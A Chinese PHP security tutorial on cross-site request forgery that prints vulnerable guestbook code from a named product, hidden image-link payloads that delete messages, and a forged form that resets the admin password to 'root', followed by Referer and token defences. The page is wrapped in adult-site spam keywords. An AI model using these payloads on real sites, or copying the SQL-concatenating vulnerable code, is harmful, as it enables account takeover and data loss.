成人免费xxxxx在线视频软件_久久精品久久久_亚洲国产精品久久久_天天色天天色_亚洲人成一区_欧美一级欧美三级在线观看

PHP漏洞全解(六)-跨網站請求偽造

作者：DoDo
系統 Linux
本文主要介紹針對PHP網站的跨網站請求偽造。在CSRF所有攻擊方式中包含攻擊者偽造一個看起來是其他用戶發起的 HTTP 請求，事實上，跟蹤一個用戶發送的 HTTP 請求才是攻擊者的目的。

CSRF(Cross Site Request Forgeries)，意為跨網站請求偽造，也有寫為XSRF。攻擊者偽造目標用戶的HTTP請求，然后此請求發送到有CSRF漏洞的網站，網站執行此請求后，引發跨站請求偽造攻擊。攻擊者利用隱蔽的HTTP連接，讓目標用戶在不注意的情況下單擊這個鏈接，由于是用戶自己點擊的，而他又是合法用戶擁有合法權限，所以目標用戶能夠在網站內執行特定的HTTP鏈接，從而達到攻擊者的目的。

例如:某個購物網站購買商品時，采用http://www.shop.com/buy.php?item=watch&num=1，item參數確定要購買什么物品，num參數確定要購買數量，如果攻擊者以隱藏的方式發送給目標用戶鏈接

，那么如果目標用戶不小心訪問以后，購買的數量就成了1000個

實例

隨緣網絡PHP留言板V1.0

任意刪除留言

//delbook.php 此頁面用于刪除留言

  2. include_once("dlyz.php"); //dlyz.php用戶驗證權限，當權限是admin的時候方可刪除留言 
  3. include_once("../conn.php"); 
  4. $del=$_GET["del"]; 
  5. $id=$_GET["id"]; 
  6. if ($del=="data") 
  7. { 
  8.     $ID_Dele= implode(",",$_POST['adid']); 
  9.     $sql="delete from book where id in (".$ID_Dele.")"; 
  10.     mysql_query($sql); 
  11. } 
  12. else 
  13. { 
  14.     $sql="delete from book where id=".$id; //傳遞要刪除的留言ID 
  15.     mysql_query($sql); 
  16. } 
  17. mysql_close($conn); 
  18. echo ""; 
  19. echo "alert(‘刪除成功！’);"; 
  20. echo " location=’book.php’;"; 
  21. echo ""; 
  22. ?> 

當我們具有admin權限，提交http://localhost/manage/delbook.php?id=2 時，就會刪除id為2的留言

利用方法:

我們使用普通用戶留言（源代碼方式），內容為

  1. "delbook.php?id=2" /> 
  2. "delbook.php?id=3" /> 
  3. "delbook.php?id=4" /> 
  4. "delbook.php?id=5" /> 

插入4張圖片鏈接分別刪除4個id留言，然后我們返回首頁瀏覽看，沒有什么變化。。圖片顯示不了

現在我們再用管理員賬號登陸后，來刷新首頁，會發現留言就剩一條，其他在圖片鏈接中指定的ID號的留言，全部都被刪除。

攻擊者在留言中插入隱藏的圖片鏈接，此鏈接具有刪除留言的作用，而攻擊者自己訪問這些圖片鏈接的時候，是不具有權限的，所以看不到任何效果，但是當管理員登陸后，查看此留言，就會執行隱藏的鏈接，而他的權限又是足夠大的，從而這些留言就被刪除了

修改管理員密碼

  1. //pass.php 
  2. if($_GET["act"]) 
  3. { 
  4.     $username=$_POST["username"]; 
  5.     $sh=$_POST["sh"]; 
  6.     $gg=$_POST["gg"]; 
  7.     $title=$_POST["title"]; 
  8.     $copyright=$_POST["copyright"]."
    設計制作：廈門隨緣網絡科技"    ; 
  9.     $password=md5($_POST["password"]); 
  10. if(emptyempty($_POST["password"])) 
  11. { 
  12.     $sql="update gly set username=’".$username."’,sh=".$sh.",gg=’".$gg."’,title=’".$title."’,copyright=’".$copyright."’ where id=1"; 
  13. } 
  14. else 
  15. { 
  16.     $sql="update gly set username=’".$username."’,password=’".$password."’,sh=".$sh.",gg=’".$gg."’,title=’".$title."’,copyright=’".$copyright."’ where id=1"; 
  17. } 
  18. mysql_query($sql); 
  19. mysql_close($conn); 
  20. echo ""; 
  21. echo "alert(‘修改成功！’);"; 
  22. echo " location=’pass.php’;"; 
  23. echo ""; 
  24. } 

這個文件用于修改管理密碼和網站設置的一些信息，我們可以直接構造如下表單:

  1. <body> 
  2.     <form action="http://localhost/manage/pass.php?act=xg" method="post" name="form1" id="form1"> 
  3.     <input type="radio" value="1" name="sh"> 
  4.     <input type="radio" name="sh" checked value="0"> 
  5.     <input type="text" name="username" value="root"> 
  6.     <input type="password" name="password" value="root"> 
  7.     <input type="text" name="title" value="隨緣網絡PHP留言板V1.0(帶審核功能)" > 
  8.     <textarea name="gg" rows="6" cols="80" >歡迎您安裝使用隨緣網絡PHP留言板V1.0(帶審核功能)！textarea> 
  9.     <textarea name="copyright" rows="6" cols="80" >隨緣網絡PHP留言本V1.0 版權所有：廈門隨緣網絡科技 2005-2009<br/>承接網站建設及系統定制 提供優惠主機域名textarea> 
  10.     form> 
  11. body> 

存為attack.html，放到自己網站上http://www.sectop.com/attack.html，此頁面訪問后會自動向目標程序的pass.php提交參數，用戶名修改為root，密碼修改為root，然后我們去留言板發一條留言，隱藏這個鏈接，管理訪問以后，他的用戶名和密碼全部修改成了root

防范方法

防范CSRF要比防范其他攻擊更加困難，因為CSRF的HTTP請求雖然是攻擊者偽造的，但是卻是由目標用戶發出的，一般常見的防范方法有下面幾種:

1、檢查網頁的來源

2、檢查內置的隱藏變量

3、使用POST，不要使用GET

檢查網頁來源

在//pass.php頭部加入以下紅色字體代碼，驗證數據提交

  1. if($_GET["act"]) 
  2. { 
  3.     if(isset($_SERVER["HTTP_REFERER"])) 
  4.     { 
  5.         $serverhost = $_SERVER["SERVER_NAME"]; 
  6.         $strurl = str_replace("http://","",$_SERVER["HTTP_REFERER"]); 
  7.         $strdomain = explode("/",$strurl); 
  8.         $sourcehost = $strdomain[0]; 
  9.     if(strncmp($sourcehost, $serverhost, strlen($serverhost))) 
  10.     {
  11.         unset($_POST); 
  12.         echo ""; 
  13.         echo "alert(‘數據來源異常!’);"; 
  14.         echo " location=’index.php’;";
  15.         echo ""; 
  16.      } 
  17.      } 
  18.     $username=$_POST["username"]; 
  19.     $sh=$_POST["sh"]; 
  20.     $gg=$_POST["gg"]; 
  21.     $title=$_POST["title"]; 
  22.     $copyright=$_POST["copyright"]."
    設計制作：廈門隨緣網絡科技"    ; 
  23.     $password=md5($_POST["password"]); 
  24.     if(emptyempty($_POST["password"])) 
  25.     { 
  26.         $sql="update gly set username=’".$username."’,sh=".$sh.",gg=’".$gg."’,title=’".$title."’,copyright=’".$copyright."’ where id=1"; 
  27.     } 
  28.     else 
  29.     { 
  30.         $sql="update gly set username=’".$username."’,password=’".$password."’,sh=".$sh.",gg=’".$gg."’,title=’".$title."’,copyright=’".$copyright."’ where id=1"; 
  31.     } 
  32. mysql_query($sql); 
  33. mysql_close($conn); 
  34. echo ""; 
  35. echo "alert(‘修改成功！’);"; 
  36. echo " location=’pass.php’;"; 
  37. echo ""; 
  38. } 

檢查內置隱藏變量

我們在表單中內置一個隱藏變量和一個session變量，然后檢查這個隱藏變量和session變量是否相等，以此來判斷是否同一個網頁所調用

  1. php 
  2. include_once("dlyz.php"); 
  3. include_once("../conn.php"); 
  4. if($_GET["act"]) 
  5. { 
  6. if (!isset($_SESSION["post_id"])) 
  7. { 
  8. // 生成唯一的ID，并使用MD5來加密 
  9. $post_id = md5(uniqid(rand(), true)); 
  10. // 創建Session變量 
  11. $_SESSION["post_id"] = $post_id; 
  12. } 
  13. // 檢查是否相等 
  14. if (isset($_SESSION["post_id"])) 
  15. { 
  16. // 不相等 
  17. if ($_SESSION["post_id"] != $_POST["post_id"]) 
  18. { 
  19. // 清除POST變量 
  20. unset($_POST); 
  21. echo "<script language=’javascript’>"; 
  22. echo "alert(‘數據來源異常!’);"; 
  23. echo " location=’index.php’;"; 
  24. echo "script>"; 
  25. } 
  26. } 
  27. …… 
  28. <input type="reset" name="Submit2" value="重 置"> 
  29. <input type="hidden" name="post_id" value="php echo $_SESSION["post_id"];?>"> 
  30. td>tr> 
  31. table> 
  32. form> 
  33. php 
  34. } 
  35. mysql_close($conn); 
  36. ?> 
  37. body> 
  38. html> 

使用POST，不要使用GET

傳遞表單字段時，一定要是用POST，不要使用GET，處理變量也不要直接使用$_REQUEST

責任編輯：xikder 來源： DoDo's Blog
php安全漏洞
相關推薦

2012-04-12 14:45:13

2012-04-12 11:28:04

2012-04-12 16:05:50

2012-04-12 15:42:35

2012-04-12 15:59:09

2012-04-12 13:36:59

2012-04-12 15:06:44

2013-08-19 10:59:48

2013-07-03 11:28:47

2015-09-15 10:52:52

2012-12-10 10:32:22

2013-05-22 18:32:57

2010-09-27 17:37:10

2011-04-19 13:40:27

2015-07-09 09:35:37

2015-03-10 18:07:53

2011-05-10 09:55:14

2017-11-02 15:28:52

2017-11-02 14:39:54

2015-12-03 17:41:07

點贊
收藏

51CTO技術棧公眾號

主站蜘蛛池模板： 中文字幕一区二区三区四区不卡 | 欧美日韩不卡合集视频 | 成人网视频| 日日噜噜噜夜夜爽爽狠狠视频, | 国产视频中文字幕在线观看 | 国产精品美女在线观看 | 成人免费网站在线 | 国产精品视频免费播放 | 亚洲精品乱码久久久久久按摩观 | 午夜免费福利影院 | 国产精品日韩欧美一区二区三区 | 精品在线一区 | 91久色| 一区二区三区观看视频 | 国产精品视频一区二区三区四区国 | 成在线人视频免费视频 | 国外成人在线视频 | 国产精品亚洲一区 | 日本在线视频一区二区 | 天天拍夜夜爽 | 久久不射网 | 久久这里只有精品首页 | 亚洲精品一区二区三区在线 | 国产一级在线 | 亚洲精品久久久蜜桃 | 久草a√ | 99视频网站 | 一区二区三区在线电影 | 国产精品久久久久久久久久久久冷 | 精品一区二区三区91 | 久久毛片网站 | 在线免费看毛片 | 亚洲激情一区二区 | 日韩电影中文字幕 | 亚洲精品免费在线 | 嫩草视频入口 | 国产精品亚洲综合 | 亚洲美女在线一区 | 久久99精品久久久久婷婷 | 亚洲国产成人久久综合一区,久久久国产99 | 成人在线精品视频 |